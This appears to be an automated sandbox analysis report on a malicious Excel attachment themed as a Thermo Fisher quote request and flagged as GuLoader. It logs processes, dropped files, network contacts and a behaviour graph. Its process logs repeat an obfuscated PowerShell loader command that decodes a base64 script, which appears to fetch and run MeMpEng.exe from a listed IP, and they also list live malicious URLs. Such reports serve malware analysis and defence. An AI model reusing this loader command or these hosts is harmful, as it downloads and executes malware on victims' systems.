Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF3D2.tmp" "c:\Users\user\AppData\Local\Temp\4xnxdpzb\CSC1523D407DAC44B3A2AFF355F7A37C79.TMP" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'je9tqzgxicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagywrelxrzugugicagicagicagicagicagicagicagicagicagicaglw1ftwjfukrfrmlusvrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvstg1vti5ktgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagihbgy1pjall6lhn0cmluzyagicagicagicagicagicagicagicagicagicagicbzc1hlusxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagzmnvelasdwludcagicagicagicagicagicagicagicagicagicagicbzsmdrset2leludfb0ciagicagicagicagicagicagicagicagicagicagicbvckipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicaginb1uwd1aeryuxkiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy0ugicagicagicagicagicagicagicagicagicagicagv3jkqwj0tvcgicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicakt1ndode6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumty2lzm0mc9nzu1wrw5nlmv4zsisiirlbly6qvbqrefuqvxnzu1wrw5nlmv4zsismcwwktttdefydc1tbgvfccgzkttzdefsvcagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxe1ltxbfbmcuzxhlig=='+[char]0x22+'))')))"
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_0040352F EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040352F
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1500266 Sample: Thermo Fisher RFQ_TFS-1805.xls Startdate: 28/08/2024 Architecture: WINDOWS Score: 100 88 Suricata IDS alerts for network traffic 2->88 90 Multi AV Scanner detection for submitted file 2->90 92 Yara detected GuLoader 2->92 94 7 other signatures 2->94 10 EXCEL.EXE 33 31 2->10         started        process3 dnsIp4 72 192.3.243.166, 49162, 49164, 49165 AS-COLOCROSSINGUS United States 10->72 74 zhort.de 88.99.66.38, 443, 49161, 49163 HETZNER-ASDE Germany 10->74 70 C:\Users\user\...\ideanetowroking[1].hta, HTML 10->70 dropped 104 Microsoft Office drops suspicious files 10->104 15 mshta.exe 10 10->15         started        19 mshta.exe 10 10->19         started        file5 signatures6 process7 dnsIp8 76 zhort.de 15->76 80 Suspicious command line found 15->80 82 PowerShell case anomaly found 15->82 21 cmd.exe 15->21         started        78 zhort.de 19->78 24 cmd.exe 19->24         started        signatures9 process10 signatures11 96 Suspicious powershell command line found 21->96 98 PowerShell case anomaly found 21->98 26 powershell.exe 24 21->26         started        30 powershell.exe 24->30         started        process12 file13 64 C:\Users\user\AppData\Roaming\MeMpEng.exe, PE32 26->64 dropped 66 C:\Users\user\AppData\...\MeMpEng[1].exe, PE32 26->66 dropped 68 C:\Users\user\AppData\...\nxtolslo.cmdline, Unicode 26->68 dropped 100 Installs new ROOT certificates 26->100 102 Powershell drops PE file 26->102 32 MeMpEng.exe 1 39 26->32         started        36 csc.exe 2 26->36         started        38 MeMpEng.exe 26 30->38         started        40 csc.exe 2 30->40         started        signatures14 process15 file16 46 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 32->46 dropped 48 C:\Users\user\AppData\Local\...\nsDialogs.dll, PE32 32->48 dropped 50 C:\Users\user\AppData\Local\...\UserInfo.dll, PE32 32->50 dropped 60 2 other malicious files 32->60 dropped 84 Machine Learning detection for dropped file 32->84 86 Tries to detect virtualization through RDTSC time measurements 32->86 52 C:\Users\user\AppData\Local\...\nxtolslo.dll, PE32 36->52 dropped 42 cvtres.exe 36->42         started        54 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 38->54 dropped 56 C:\Users\user\AppData\Local\...\nsDialogs.dll, PE32 38->56 dropped 62 3 other malicious files 38->62 dropped 58 C:\Users\user\AppData\Local\...\4xnxdpzb.dll, PE32 40->58 dropped 44 cvtres.exe 40->44         started        signatures17 process18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
88.99.66.38
 zhort.de Germany
24940 HETZNER-ASDE false
192.3.243.166
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted Domains

Name IP Active
zhort.de 88.99.66.38 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://192.3.243.166/xampp/vcc/ideanetowroking.hta true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://zhort.de/6XcI3x false
  • 2%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://192.3.243.166/340/MeMpEng.exe true
  • Avira URL Cloud: safe
 unknown